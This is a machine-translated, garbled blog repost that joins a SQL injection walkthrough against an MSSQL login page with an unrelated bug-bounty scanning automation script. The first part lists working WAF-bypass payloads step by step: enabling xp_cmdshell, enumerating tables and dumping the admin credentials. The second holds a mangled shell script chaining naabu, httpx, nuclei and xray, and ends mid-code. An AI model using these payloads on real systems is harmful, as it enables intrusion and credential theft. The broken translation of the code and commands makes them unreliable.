復号化後、バックグラウンドへのログイン1049983-20220119230334904-1083242178.pngに正常にログインしました

要約

1。BPターゲットサイトのパケットキャプチャと、ターゲットシステムに検証コードがあることを発見しました

2.要求されたデータパケットのCookieパラメーターと値を削除し、検証コードパラメーターと値を削除します。

3.もう一度リクエストを行い、検証コードエラーを促す情報を見つけない

4.要求された投稿パケットのユーザー名に単一の引用符を追加して、エラーを報告する

username=amdin'password=admin

5。テストと「1」='1は表示できません。ターゲットシステムにはWAFがあります

username=amdin 'および' 1 '=' 1password=admin

6.キーワードのケースを変更し、スペースをMSSQLホワイトスパース([0x00-0x20])、つまり%1eに置き換えます。通常のエコーコンテンツを見ることができます

username=amdin '%1 andd%1e'1'='1password=admin

7.データベースバージョンをクエリします

username=amdin '%1EOR%1E1=@@ version%1e - password=admin

8。現在のユーザーをクエリします

username=amdin '%1EOR%1E1=user%1e - password=admin

9.現在のユーザーがDBAとDB_OWNERであるかどうかをクエリします。どちらも遅延があります。現在のユーザーはDBAでもDB_OWNERでもありません

username=amdin '; if(0=(select%1eis_srvrolemember(' sysadmin ')))waitfor%1edelay%1e'0:0:5'%1e - password=admin

username=amdin '; if(0=(select%1eis_srvrolemember(' db_owner ')))waitfor%1edelay%1e'0:0:5'%1e - password=admin

10.関連する権限なしでXP_CMDSEHLLを実行してみてください。

username=amdin '; exec%1ESP_CONFIGURE%1E'SHOW Advanced Options'、1; ReconFigure%1E - PassWord=admin

username=amdin '; exec%1esp_configure%1e'xp_cmdshell'、1; reconfigure%1e - password=admin

11.現在のデータベース名をクエリすると、接続リセット——がWAFによって傍受されます

username=amdin '%1eor%1e1=(db_name()%1e)%1e - password=admin

12.wafは、db_name()関数をインターセプトできます。ここでは、関数名と括弧を使用してコメント/** /またはwhitespace文字を入力して、現在のデータベース名を正常に取得できます。

username=amdin '%1eor%1e1=(db_name/**/()%1e)%1e - password=admin

13.現在のデータベーステーブルを取得すると、接続リセット——がWAFによって傍受されます

username=amdin '%1EOR%1E1=(SELECT%1EOP%1E1%1ETABLE_NAME%1IENFORMATION_SCHEMA.TABLES%1E)%1E - PassWord=admin

14.選択後にステートメントを削除し、通常に戻ります。 IIS+ASPX環境では、同じ名前の複数のパラメーターが同時に提出された場合、サーバーで受信されたパラメーターの値は、コンマに接続された複数の値です。実際のアプリケーションでは、コンマはコメントでコメントすることができますが、WAFによってまだ傍受されています。

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%1ETABLE_NAME from%1einformation_schem.tables%1e)%1e - password=admin

15. information_schema.tablesの文字を削除し、通常の——wafフィルター情報_schema.tablesを返します。 MySQLインジェクションを学んでいたとき、公式の文書がこれを言ったのを見ました:「資格キャラクターは別のトークンであり、関連する識別子と隣接する必要はありません。」修飾子( '。'など)は、左と右側のWhitespace文字に挿入でき、MSSQLはテスト後に同じ特性を持っていることがわかります。 Information_schema.Tables -Information_schema%0f。%0ftables、テーブル名を正常に取得します

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1EOP%1E1%1ETABLE_NAME%1IENFORMATION_SCHEMA%0F。%0FTABLES%1E)

16.すべてのテーブル名を一度にクエリします

username=amdin '%1EOR%1E1=(select/*username=*/%1equotename(name)%1efrom bak_ptfl%0f.Sysobjects%1ewhere%1extype=' u 'for xml path(' '))%1E-password=admin

17。テーブル名から判断すると、管理者のテーブルはAppSadminであり、テーブルのすべての列を一度に照会する必要があります。

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1 EquoTename/**/(name)%1Efrom bak_ptfl%0f.syscolumns%1ewhere%1eid=(select/*username=*/%1eid%1efrom%1ebak_ptfl%0f.ssobjects%1ewhere%1ename='appsadmin')%1efor%1exml%1epath

18.管理者のユーザー名とパスワードフィールドを取得:adminname、パスワード。ユーザー名とパスワードをクエリします

username=amdin '%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EADMINNAME%1EFROM%1EAPPSADMIN%1E)%1E - PassWord=admin

username=amdin '

%1EOR%1E1=(SELECT/*USERNAME=*/%1ETOP%1E1%1EPASSWORD%1EFROM%1EAPPSADMIN)%1E - PassWord=admin

20。ユーザー名のパスワードハッシュ値を復号化し、バックグラウンドに正常にログインします

オリジナルリンク:https://xz.aliyun.com/t/7487

0x01説明

今回使用されているプラットフォームは次のとおりです。https://Chaos.ProjectDiscovery.io/は、主要な外国の抜け穴バウンティプラットフォームを収集します。現在、資産尺度は約1600 0000〜1800 0000であり、これはひどい数であり、1時間ごとに増加または減少しています。これは、多くのサードパーティの自己構築バウンティプラットフォームとつながります。これは、独自のプラットフォームで収集するものよりも多く、掘削の可能性も高くなります。

1049983-20220825231548630-1613117912.png

0x02自動化ソリューションプロセス

スクリプトを使用して、Project-Discoveryプラットフォームのすべての資産を取得します。資産偵察と収集は、Project -Discoveryに引き渡されます。ダウンロードされた資産を最後のマスタードメインデータと比較し、新しい資産が現在表示されているかどうかを決定します。ある場合は、新しい資産を抽出し、一時ファイルを作成し、MasterDomainに新しい資産を追加します。 NAABUを使用してポートスキャンに使用し、オープンポートを使用して検証し、HTTPXを使用して検証し、HTTP生存資産を抽出し、脆弱性スキャンのためにHTTP生存資産を核に送信し、Xrayにも送信します。デフォルトでは、Xrayの基本的なCrawler関数を使用して、一般的な脆弱性をスキャンします。 Xrayのスキャン結果をXray-New-$(日付+%f-%t).htmlに保存します。Webhookモードを追加して、Nucleiの脆弱性スキャン結果を同時にプッシュし、Notifyを使用してリアルタイムをプッシュすることもできます。これらはすべて自動的に実行されます。

1049983-20220825231549519-424638336.png

0x03準備

最初にこれらのツールをインストールし、ソフトリンクをセットアップし、グローバルに使用できます。これらのツールのインストールは非常に簡単で、もう説明されません。 Githubにはインストールチュートリアルもあります

CENTOS7+ 64ビット構成4H 4G [ONE SERVER] CHAOSPY [ASSET検出、資産ダウンロード] https://Github.com/photonbolt/Chaospyunzip [Filter Duplication] https://github.com/tomnomnom/anewnaabu [ポートスキャン]からhttps://github.com/projectdiscovery/naabuhttpx [サバイバル検出] https://github.com/projectdiscovery/httpxnuclei [脆弱性スキャン] https://Nuclei.projectdiscovery.io/xray [wulnerability scan] 333333339downowdolow.xlay通知]通知[脆弱性通知] Notifyの比較的成熟したプッシュソリューションサーバーは、Vultrを推奨しています。私の推奨リンク:https://www.vultr.com/?ref=9059107-8hを使用できます

0x04通知通知関連の構成について

インストールと構成の通知:https://github.com/projectdiscovery/notify

構成ファイル(それなしでこのファイルを作成):/root/.config/notify/provider-config.yaml

通知構成を変更するだけです。たとえば、私が使用する通知は電報と電子メールです(任意のものを構成できます)

1049983-20220825231550331-595996097.png

テスト結果

Subfinder -D Hackerone.com |通知-Provider Telegram

電報通知を設定しています。実行が完了した後、結果を受信できる場合、通知に問題はありません。次のステップを踏むことができます

1049983-20220825231550957-978497499.png

0x05展開プロセス

上記のツールがインストールされていることを確認してください。次に、SHスクリプトファイルを作成しましょう。このスクリプトは、上記のすべてのプロセスを実行しました。

名前: wadong.sh、実行許可を追加:chmod +xwadong.sh

wadong.shスクリプトは、主に資産偵察資産の収集、ポートスキャン、重複排出検出、生存の検出、脆弱性スキャン、結果通知の機能を完了します

スクリプト:

#!/bin/bash

#chaospyを使用して、バウンティアセットデータのみをダウンロードします

#python3 chaospy.py - download-hackerone

#python3 chaospy.py - download-rewards#すべてのバウンティアセットをダウンロードします

#。/chaospy.py - download-bugcrowdダウンロードbugcrowdアセット

#。/chaospy.py - download-hackeroneハッケロン資産をダウンロードします

#。/chaospy.py - download-intigriti intigritiアセットをダウンロードします

#。/chaospy.py - download-externalダウンロード自立型資産

#。/chaospy.py - download-swagsダウンローダーSWAGSアセット

#。/chaospy.py - download-rewardsは、報酬のある資産をダウンロードします

#。/chaospy.py - download-norewardsは、報酬なしでアセットをダウンロードします

#ダウンロードされたものをデッレスし、awkを使用して結果を最後の結果と比較し、新しいものがあるかどうかを確認します

ls |の場合grep '.zip' /dev /null;それから

unzip '*.zip' /dev /null

cat *.txt新聞

rm -f *.txt

awk 'nr==fnr {lines [$ 0]; next}!($ 0 in line)' alltargets.txtls新方an.mddomains.txtls

RM -F新規Dains.md

######################################################################## ############################################################################## ############################################################################## ##############################################################################

Echo 'Asset Scout End $(日付+%f-%t)' | Notify -Silent -Provider Telegram

echo '新しいドメイン$(wc -l domains.txtls)' |を見つけますNotify -Silent -Provider Telegram

######################################################################## ############################################################################## ############################################################################## ############################################################################## ############################################################################## ############################################################################## ############################################################################## ##############################################################################

核- シレント - 摂取

核- シレント-UT

rm -f *.zip

それ以外

echo '新しいプログラムは見つかりません' | Notify -Silent -Provider Telegram

fi

[-s domains.txtls]; thenの場合

echo 'naabu'を使用して新しいアセットポートをスキャンします '| Notify -Silent -Provider Telegram

fine_line=$(cat domains.txtls | wc -l)

num=1

k=10000

j=true

f=0

$ j

する

echo $ fine_line

if [$ num -lt $ fine_line]; then

m=$(($ num+$ k))

sed -n '' $ num '、' $ m'p 'domains.txtls domaint.txtls

((num=num+$ m))

naabu -stats -l domain.txtls -p 80,443,8080,2053,2087,2096,8443,2083,2086,2095,880,2052,2082,3443,8791 、8887,8888,444,9443,2443,100,10001,8082,8444,200,8081,8445,8446,8447 -silent -o open -domain.txtls /dev /null |エコー「ポートスキャン」

Echo 'ポートスキャンの終了、HTTPXの使用を開始して生存を検出します' | Notify -Silent -Provider Telegram

httpx -silent -stats -l open -domain.txtls -fl 0 -mc 200,302,403,404,204,303,400,401 -o newurls.txtls /dev /null

echo 'httpxは、生存している資産$(wc -l newurls.txtls)を見つけました' | Notify -Silent -Provider Telegram

cat newurls.txtls new-active-$(date +%f-%t).txt#save new Asset Record

cat domaint.txtls alltargets.txtls

エコー '生き残った資産の存在は、履歴キャッシュ$(日付+%f-%t)に追加されました| Notify -Silent -Provider Telegram

echo '核の使用を開始して新しい資産をスキャンします」| Notify -Silent -Provider Telegram

cat newurls.txtls | Nuclei -RL 300 -BS 35 -C 30 -MHE 10 -NI -O RES -ALL -VULNERABITY -RESULTS.TXT -STATS -SILENT -SILENT CRITICAL、MEID、HIGH、LOW | Notify -Silent -Provider Telegram

echo 'Nucleiの脆弱性スキャンは終了しました' | Notify -Silent -Provider Telegram

#Use Xrayスキャン、Webhookを一致させることを忘れないで、そうでない場合はこのアイテムを削除して、ファイルに保存します

#echo 'Xrayを使用して新しい資産をスキャンします' | Notify -Silent -Provider Telegram

#xray_linux_amd64 webscan -url-file newurls.txtls -webhook-output http://www.qq.com/webhook -html-output xray-new-$(date +%f-%t).html

#echo 'Xrayの脆弱性スキャンが終了しました。サーバーに移動して、Xrayの脆弱性レポートを表示してください '| Notify -Silent -Provider Telegram

rm -f open -domain.txtls

rm -f domaint.txtls

rm -f newurls.txtls

それ以外

echo 'ssss'

j=false

sed -n '' $ num '、' $ find_line'p 'domains.txtls domain.txtls

naabu -stats -l domain.txtls -p 80,443,8080,2053,2087,2096,8443,2083,2086,2095,880,2052,2082,3443,8791 、8887,8888,444,9443,2443,100,10001,8082,8444,200,8081,8445,8446,8447 -silent -o open -domain.txtls /dev /null |エコー「ポートスキャン」

Echo 'ポートスキャンの終了、HTTPXの使用を開始して生存を検出します' | Notify -Silent -Provider Telegram

httpx -silent -stats -l open -domain.txtls -fl 0 -mc 200,302,403,404,204,303,400,401 -o newurls.txtls /dev /null

echo 'httpxは、生存している資産$(wc -l newurls.txtls)を見つけました' | Notify -Silent -Provider Telegram

cat newurls.txtls new-active-$(date +%f-%t).txt#save new Asset Record

cat domaint.txtls alltargets.txtls

エコー '生き残った資産の存在は、履歴キャッシュ$(日付+%f-%t)に追加されました| Notify -Silent -Provider Telegram

echo '核の使用を開始して新しい資産をスキャンします」| Notify -Silent -Provider Telegram

cat newurls.txtls | Nuclei -RL 300 -BS 35 -C 30 -MHE 10 -NI -O RES -ALL -VULNERABITY -RESULTS.TXT -STATS -SILENT -SILENT CRITICAL、MEID、HIGH、LOW | Notify -Silent -Provider Telegram

echo 'Nucleiの脆弱性スキャンは終了しました' | Notify -Silent -Provider Telegram

#Use Xrayスキャン、Webhookを一致させることを忘れないで、そうでない場合はこのアイテムを削除して、ファイルに保存します

#echo 'Xrayを使用して新しい資産をスキャンします' | Notify -Silent -Provider Telegram

#xray_linux_amd64 webscan -url-file newurls.txtls -webhook-output http://www.qq.com/webhook -html-output xray-new-$(date +%f-%t).html

#echo 'Xrayの脆弱性スキャンが終了しました。サーバーに移動して、Xrayの脆弱性レポートを表示してください '| Notify -Silent -Provider Telegram

rm -f open -domain.txtls

rm -f domaint.txtls

rm -f newurls.txtls

fi

終わり

rm -f domains.txtls

それ以外

######################################################################## ######################################################################結果を送信して、新しいドメインが見つからないかどうかを通知します

echo '新しいドメイン$(日付+%f-%t)' | Notify -Silent -Provider Telegram

fi

First.shファイルを構築すると、スクリプトは1回しか実行できず、将来使用されません。主に初めて履歴キャッシュドメインを生成するために使用され、古い資産としてマークされます。

実行許可を追加:Chmod +x First.sh

#!/bin/bash

#chaospyを使用して、バウンティアセットデータのみをダウンロードします

./Chaospy.py - download-new

./ChaOspy.py - download-rewards

#ダウンロードされたものを提示します

ls |の場合grep '.zip' /dev /null;それから

unzip '*.zip' /dev /null

rm -f alltargets.txtls

cat *.txt alltargets.txtls

rm -f *.txt

rm -f *.zip

echo 'ドメイン$(wc -l alltargets.txtls)を見つけて、キャッシュファイルalltargets.txtとして保存されます'

FI

0x06バウンティオートメーションを開始

上記のすべてのツールがインストールされていることを確認するとき

1.最初の.shスクリプトを実行して、十分なキャッシュドメイン名をローカルに生成し、古い資産としてマークする

./first.sh2、bbautomation.shスクリプトのループ実行、3600秒スリープ、1時間に1回、つまりスクリプト

Xunhuan.sh:

#!/bin/bashwhile true; do ./wadong.sh; sleep 3600; DONE3.CHAOSPYスクリプトは、遅延スキャン時間とエラーレポートを最適化するために大まかに変更されました。 '\ 033 [34m'magenta=' \ 033 [35m'cyan='\ 033 [36M'lightgray=' \ 033 [37m'darkgray='\ 033 [90m'lightred=' \ 033 [91m'lightgreen='\ 033 [92m'lighty olly=' \ 033] '\ 033 [93m'lightblue=' \ 033 [94M'lightmagenta='\ 033 [95m'lightcyan=' \ 033 [96M'White='\ 033 [97M'Default=' \ 033 [0M'Banner='' '' ' `/__ \/___////////////////////////////////////////////////////////(__)_____//////////////\ ___、//////////////////////////////____ /%s prociddisに基づいて書かれた小さなツール。 https://Chaos.ProjectDiscovery.io/%s *著者-Moaaz(https://TWITTER.com/photonbo1t)*%s \ n '' '%(lightgreen、yellow、darkgray、darkgray、default)parser=argperse.argumentparser(説明=' chaospyys tool ')parser.add_argument(' - list '、dest=' list '、help=' list All programs '、action=' store_true ')parser.add_argument(' - list-bugcrowd '、dest=' list_bugcrowd '、help=' list bugcrowdプログラム '、action=' store_true ')parser.add_argument(' - list-hackerone '、dest=' list_hackerone '、help=' list hackeroneプログラム '、action=' store_true ')parser.add_argument(' - list-intigriti '、dest_intigriti'、heat='list intigritiプログラム '、action=' store_true ')parser.add_argument(' - list-external '、dest=' list_external '、help=' list selfホストプログラム '、action=' store_true ')parser.add_argument(' - list-swags '、dest=' dest_swags '、help=' help='swagsオファー '、action=' store_true ')parser.add_argument(' - list-rewards '、dest=' list_rewards '、help=' list programs with rewards '、action=' store_true ')parser.add_argument(' - list-norewards '、dest=' dest='list_norewards'、help='listプログラム報酬'、action=' store_true ')parser.add_argument(' - list-new '、dest=' list_new '、help=' listプログラム、action='store_true')parser.add_argument( ' - list-new'、dest='list_new'、help='list newプログラム '、action=' store_true ')parser.add_argument(' - list-updated '、dest